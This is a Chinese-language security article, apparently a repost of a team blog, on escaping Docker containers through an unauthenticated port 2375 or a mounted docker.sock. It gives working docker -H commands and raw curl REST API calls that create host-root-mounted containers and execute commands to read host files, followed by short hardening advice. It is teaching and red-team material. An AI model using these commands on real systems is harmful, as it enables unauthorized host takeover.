容器逃逸分析——基于Docker Socket的另类手法解析

admin 2025年5月26日13:48:55评论33 views字数 10304阅读34分20秒阅读模式

点击蓝字

容器逃逸分析——基于Docker Socket的另类手法解析

关注我们

声明

本文作者:Neko

本文字数:4987字

阅读时长:14分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

.

容器逃逸分析——基于Docker Socket的另类手法解析
添加BOT发送“ 云安全 ”即可加入云安全交流群

#云原生 安全领域,#容器逃逸 技术始终是攻防对抗的核心议题。在这篇文章中,我们通过分析通过挂载/var/run/docker.sock实现容器逃逸的攻击手法优化,我尝试站在一个运维和黑客的角度来看待docker,系统解析Docker通信机制与攻击面扩展思路,对攻击手法进行优化延伸出另一条道路,提高该漏洞的可用性。

Docker通信机制解析

Docker架构

docker整体上是C/S(client/server)架构,日常使用的docker命令就是docker的客户端(client),服务端叫dockerd,是docker 守护程序 (docker daemon),它作为 systemd 服务持续运行,所以可以通过systemctl start docker来启动服务, 但是否能运行与 systemd 并无任何关系。Docker client和Dockerd之间默认通过 Docker API通信

Docker client

Docker client是Docker中的核心组件,Docker client是用户与Docker系统交互的主要接口,主要负责接收用户的命令(例如docker ps),将其打包成请求发送给Docker daemon。Docker client 本身并不执行容器管理等操作,它充当了命令解释器和请求转发者的角色。例如 docker 命令也是client。

docker -H

-H/--host参数指定Daemon通信地址,将请求发送给指定地址:

  • 远程连接:docker -H tcp://<host>:2375 ps
  • 本地Socket(默认):docker -H unix:///var/run/docker.sock ps

Docker 客户端会通过 Unix 套接字unix:///var/run/docker.sock与本地 Docker 守护进程通信,使用-H可以覆盖默认行为,指向其他地址,例如

# 连接到远程 2375 端口(TCP 协议)docker -H tcp://x.x.x.x:2375 ps

支持的协议

unix:// (默认,本地套接字,地址为unix:///var/run/docker.sock)tcp:// (明文TCP连接,如tcp://xxx.xxx.xxx.xxx:2375)ssh:// (通过SSH隧道连接远程Docker)fd:// (通过文件描述符,用于systemd启动的守护进程)

-H为客户端参数,只影响docker命令如何连接到守护进程

Dockerd

docker守护进程(docker daemon)也就是dockerd,是Docker的核心服务程序,Dockerd负责通过REST API接收Docker client发来的指令,例如创建,运行,停止容器,管理镜像、网络、数据卷等。

默认监听Unix socket:/var/run/docker.sock

什么是Docker API(Docker REST API)

Docker API 是 Docker 提供的一组基于 REST 的接口,用于与 Docker Daemon 通信。它是 Docker Client 与 Daemon 之间交互的桥梁。详细文档可以参考官方文档[Docker Engine API | Docker Docs](https://docs.docker.com/reference/api/engine/version/v1.49/#tag/Container)

Docker API主要分为以下几类(简单列举几个接口):

容器管理API
GET /containers/json ##查看所有容器,加上?all=1可以查看所有容器(包括未启动容器)POST /containers/create ##也可以加上参数?name=来设置容器名GET /containers/{id}/json ##查看容器详细信息
镜像管理API
GET /images/json ##查看所有容器POST /images/create ##创建容器,效果类似于docker pullDELETE /images/{name} ##删除某个镜像
网络与卷管理API
GET /networks ##查看所有网络信息POST /networks/create ##创建networkDELETE /networks/{id} ##删除某个network
系统信息API
GET /version ##获取当前通信的机器版本,信息包括client version,api version和server version(无论是本机还是远程)GET /info ##查看通信的机器的相关信息
容器逃逸分析——基于Docker Socket的另类手法解析

架构分层

组件
功能描述
Docker Client
接收用户指令,通过REST API与Daemon通信
Docker Daemon
管理容器生命周期,监听Unix Socket(默认/var/run/docker.sock
Containerd
容器运行时管理组件
Runc
OCI规范兼容的容器执行器

传统逃逸手法分析

介绍完Docker通信机制以及Docker架构,回到docker逃逸,主要说明2375未授权以及docker.sock逃逸

2375端口未授权访问漏洞成因

Docker Engine API 是 Docker 提供的用于 Docker 客户端与守护进程交互的 API,当Docker daemon监听 2375 端口且未鉴权,我们可以利用 API 来完成 Docker 客户端能做的所有事情。

默认情况下,Docker daemon 监听在 unix:///var/run/docker.sock,可以通过多种方式打开 tcp socket,比如修改 Docker 配置文件如/usr/lib/systemd/system/docker.service或者添加daemon.json配置内容

/usr/lib/systemd/system/docker.service

修改ExecStart为ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375

[Service]Type=notify# the default is not to use systemd for cgroups because the delegate issues still# exists and systemd currently does not support the cgroup feature set required# for containers run by dockerExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375ExecReload=/bin/kill -s HUP $MAINPIDTimeoutStartSec=0RestartSec=2Restart=always
容器逃逸分析——基于Docker Socket的另类手法解析
image-20250428200031719

或者为daemon.json添加如下内容

vim /etc/docker/daemon.json{"hosts": ["unix:///var/run/docker.sock""tcp://0.0.0.0:2375"]}systemctl daemon-reloadsystemctl restart docker

漏洞探测

curl http://<target>:2375/version浏览器访问 http://<target>:2375/version

响应示例:

{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"26.1.4","Details":{"ApiVersion":"1.45","Arch":"amd64","BuildTime":"2024-06-05T11:31:02.000000000+00:00","Experimental":"false","GitCommit":"xxxx","GoVersion":"go1.21.11","KernelVersion":"3.10.0-1160.119.1.el7.x86_64","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.6.33","Details":{"GitCommit":"xxxxxx"}},{"Name":"runc","Version":"1.1.12","Details":{"GitCommit":"v1.1.12-0-g51d5e94"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"26.1.4","ApiVersion":"1.45","MinAPIVersion":"1.24","GitCommit":"de5c9cf","GoVersion":"go1.21.11","Os":"linux","Arch":"amd64","KernelVersion":"3.10.0-1160.119.1.el7.x86_64","BuildTime":"2024-06-05T11:31:02.000000000+00:00"}
容器逃逸分析——基于Docker Socket的另类手法解析

2375端口未授权访问漏洞探测

漏洞验证方法,常规/version可以获取到目标机器的version信息等,但容易出现误报,可以直接请求/containers/json来查看是否返回容器列表信息,通过这个方式来判断是否真实存在2375未授权漏洞。

#容器列表探测   curl -i http://<target>:2375/containers/json   或者浏览器访问:http://<target>:2375/containers/json

响应示例:

[{"Id":"xxxxxxxxxxxx","Names":["/{container_name}"],"Image":"{images_name}","ImageID":"sha256:f9a80a55xxxxxdxxxx3xxx1788xxxx7af6a","Command":"/bin/bash","Created":{时间戳},"Ports":[],"Labels":{"org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.version":"18.04"},"State":"running","Status":"Up 5 hours","HostConfig":{"NetworkMode":"bridge"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"MacAddress":"xx:xx:xx:xx:00:xx","DriverOpts":null,"NetworkID":"xxxxxxxxxxxx","EndpointID":"xxxxxxxxxxxxx","Gateway":"172.17.0.1","IPAddress":"172.17.0.5","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"DNSNames":null}}},"Mounts":[]}
容器逃逸分析——基于Docker Socket的另类手法解析

2375未授权攻击利用

  1. 创建挂载宿主机根目录的容器

    docker -H xxx.xxx.xxx.xxx:2375 run -itd -v /:/mnt ubuntu:18.04 /bin/sh
  2. 进入容器操作宿主机

    docker -H xxx.xxx.xxx.xxx:2375 exec -it {containerID} /bin/sh
    容器逃逸分析——基于Docker Socket的另类手法解析

    3.切换至/mnt目录,该目录为宿主机根目录的挂载目录

    容器逃逸分析——基于Docker Socket的另类手法解析

传统Docker Socket挂载逃逸

docker.sock普通利用流程

  1. 容器内安装docker

    apt install docker.io -y
  2. 容器交互验证

    docker -H unix:///var/run/docker.sock ps
  3. 创建特权容器或挂载宿主机根目录容器

    docker -H unix:///var/run/docker.sock run -itd --privileged ubuntu:16.04docker -H unix:///run/docker.sock run -itd -v /:/mnt ubuntu:16.04 /bin/sh
    容器逃逸分析——基于Docker Socket的另类手法解析

漏洞分析与思考

2375未授权导致的逃逸,是因为用户设置了tcp://0.0.0.0:2375且并未设置认证导致,docker daemon此时还会监听来自2375端口的请求,关键点在于未设置认证用户直接与远程的Docker daemon通信,上述手法都是通过Docker client来发送请求,本质上是client通过REST API来构建请求并发送给目标daemon(无论是远程还是本地)。

那我们可以对REST API进行操作吗?

不太一样的docker.sock逃逸

如何操作docker API

curl

通过curl来根据REST API构建请求

通过-i参数来查看响应状态,通过--unix-socket参数指定通信套接字,这里填写默认的docker.sock地址。

#本地默认和/var/run/docker.sock通信,所以我们使用curl的--unix-socket参数指定curl -i --unix-socket /var/run/docker.sock http://localhost/images/jsoncurl -i --unix-socket /var/run/docker.sock http://localhost/containers/json#远程curl -i http://{host}:{port}/imagescurl -i http://{host}:{port}/containers

python

python支持request库以及docker库和requests_unixsocket库,可以通过python来构建请求对远程或者本地进行通信

下面是获取所有containers的示例(使用本地/var/run/docker.sock通信)

import requestsimport requests_unixsocket# 检查是否安装必要库try:import requests_unixsocketexcept ImportError:    print("需要安装 requests-unixsocket,执行:pip install requests-unixsocket")    exit(1)deflist_containers():# 创建 Unix Socket 会话    session = requests_unixsocket.Session()    base_url = "http+unix://%2Fvar%2Frun%2Fdocker.sock"try:# 调用 Docker API 获取容器列表 (包含已停止的容器)        response = session.get(f"{base_url}/containers/json",            params={"all""true"}        )        response.raise_for_status()  # 自动检测 HTTP 错误        containers = response.json()ifnot containers:            print("没有找到任何容器")return# 格式化输出表格        print("{:<16} {:<30} {:<12} {:<20}".format("CONTAINER ID""NAMES""STATUS""IMAGE"        ))        print("-" * 80)for container in containers:            container_id = container["Id"][:12]            names = ", ".join([n.lstrip('/'for n in container["Names"]])            status = container["Status"]            image = container["Image"]            print("{:<16} {:<30} {:<12} {:<20}".format(                container_id, names, status, image            ))except requests.exceptions.ConnectionError:        print("连接失败!请检查:")        print("1. Docker 服务是否正在运行")        print("2. /var/run/docker.sock 是否存在")        print("3. 当前用户是否有权限访问(尝试使用 sudo 或将用户加入 docker 组)")except requests.exceptions.HTTPError as e:        print(f"API 请求失败: HTTP {e.response.status_code}")        print(f"错误详情: {e.response.text}")if __name__ == "__main__":    list_containers()

输出示例

CONTAINER ID     NAMES                          STATUS       IMAGE               --------------------------------------------------------------------------------09bcc368ebae     neko                           Up 41 hours  ubuntu:16.04        f34a8be47265     friendly_engelbart             Up 3 days    ubuntu:16.04        f7013372d7ab     testmongodb                    Up 41 hours  mongo:4.0.27  

postman(远程)

设置Headers,添加Content-Type为application/json

然后设置请求方式以及目标URL,参考Docker官网文档来构建请求发送即可在下方看到对应内容

容器逃逸分析——基于Docker Socket的另类手法解析
image-20250428211108662

原生Docker API调用方法实现逃逸

通过参考REST API直接构建请求绕过Docker客户端依赖:

  1. 创建挂载宿主机根目录的容器

    curl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image": "ubuntu:16.04", "Cmd": ["/bin/bash"], "Tty": true, "OpenStdin": true, "Mounts": [{"Type": "bind", "Source": "/", "Target": "/mnt"}]}' http://localhost/containers/create?name=xxx

    示例响应:

    HTTP/1.1201 CreatedApi-Version: 1.45Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:06:21 GMTContent-Length: 88{"Id":"d50ddf55e4b1c0e6ddf5927044870808a5165bd54e09c5ad8426154cbde4bcdd","Warnings":[]}
    容器逃逸分析——基于Docker Socket的另类手法解析
  2. 启动容器

    curl -i --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" http://localhost/containers/xxx/start

    示例响应:

    HTTP/1.1204 No ContentApi-Version: 1.45Docker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:08:18 GMT
    容器逃逸分析——基于Docker Socket的另类手法解析
  3. 执行命令

    攻击者可以对创建的新容器发起命令,对正在运行的容器上执行命令分为两步(若容器未启动需要先启动容器)

    使用curl建立通信并获取回显结果:

    #创建execcurl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/mnt/neko/flag"],"DetachKeys": "ctrl-p,ctrl-q","Tty": true}' http://localhost/containers/xxx/exec

    示例响应

    HTTP/1.1201 CreatedApi-Version: 1.45Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:12:34 GMTContent-Length: 74{"Id":"3e271c167809bdad4c23c6adc4800ce6c76a8a573fc581d03990c43de8fbba9b"}
    容器逃逸分析——基于Docker Socket的另类手法解析

    运行exec

    #运行execcurl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/{exec_id}/start -O

    示例响应

    HTTP/1.1200 OKContent-Type: application/vnd.docker.raw-streamApi-Version: 1.45Docker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)flag{taoyi_success}
    容器逃逸分析——基于Docker Socket的另类手法解析

    需要注意,使用curl默认无法直接处理交互式终端,需要使用别的工具来实现。

    docker.sock逃逸离不开docker的REST API,基于这个特性,可以根据文档和需求来构建自己的请求,这样大大提升了在实际攻防和安全学习中的泛用性,不再局限于传统逃逸中需要使用docker client来进行通信。

安全防御建议

  1. 权限最小化

    • 禁止容器挂载宿主机敏感目录(如//var/run/docker.sock
    • 限制容器Capabilities(避免使用--privileged
  2. 网络隔离

    • 禁用Docker远程API(2375/2376端口)
    • 配置TLS双向认证保护API接口

下一个容器,我们再见~

参考文档:Docker官方API文档 - https://docs.docker.com/engine/api/Teamssix容器安全Wiki - https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html

作者

容器逃逸分析——基于Docker Socket的另类手法解析

Neko

每一个地方都有可学习的知识

原文始发于微信公众号(WgpSec狼组安全团队):容器逃逸分析——基于Docker Socket的另类手法解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日13:48:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   容器逃逸分析——基于Docker Socket的另类手法解析https://cn-sec.com/archives/4018447.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息